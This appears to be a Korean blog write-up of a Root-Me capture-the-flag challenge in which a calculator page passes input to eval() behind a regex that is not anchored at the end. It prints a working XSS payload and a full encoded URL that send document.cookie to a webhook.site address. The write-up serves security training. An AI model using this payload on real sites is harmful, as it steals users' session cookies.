반응형
문제 풀이
계산기 웹사이트 존재
사용자의 입력 값이 eval 함수 안에 삽입된 후 그 결과가 innerText로 들어가게 된다.
계산기 입력받는 값에서 정규식이 존재( /^\d+[\+|\-|\*|\/]\d+/)
1. 숫자로 시작
2. 숫자뒤에 +, -, *, / 와야 함
3. 계산식 뒤에 숫자가 와야 함
위 정규식에 허점이 존재, 1+1 다음에 아무런 값이 올 수 있음
eval에서 ,를 사용해서 여러개의 자바스크립트 코드 실행이 가능하다.
POC
아래 코드 실행 시 webhook사이트로 cookie값을 전송할 수 있다.
eval(1+1, location.href="https://webhook.site/a0a45cf9-b23f-44e7-a80c-0744cad0a729?c=".concat`${document.cookie}`)
Contact 부분에 XSS 공격 구문이 담긴 Payload 입력 시 플래그를 확인할 수 있다.
http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1%2B1%2C+location.href%3D%22https%3A%2F%2Fwebhook.site%2Fa0a45cf9-b23f-44e7-a80c-0744cad0a729%3Fc%3D%22.concat%60%24%7Bdocument.cookie%7D%60
반응형
'WEB hacking > rootme' 카테고리의 다른 글
RootMe - XSS - Reflected WriteUp (0) | 2025.02.20 |
---|---|
RootMe - Javascript - Obfuscation 3 WriteUp (0) | 2025.02.18 |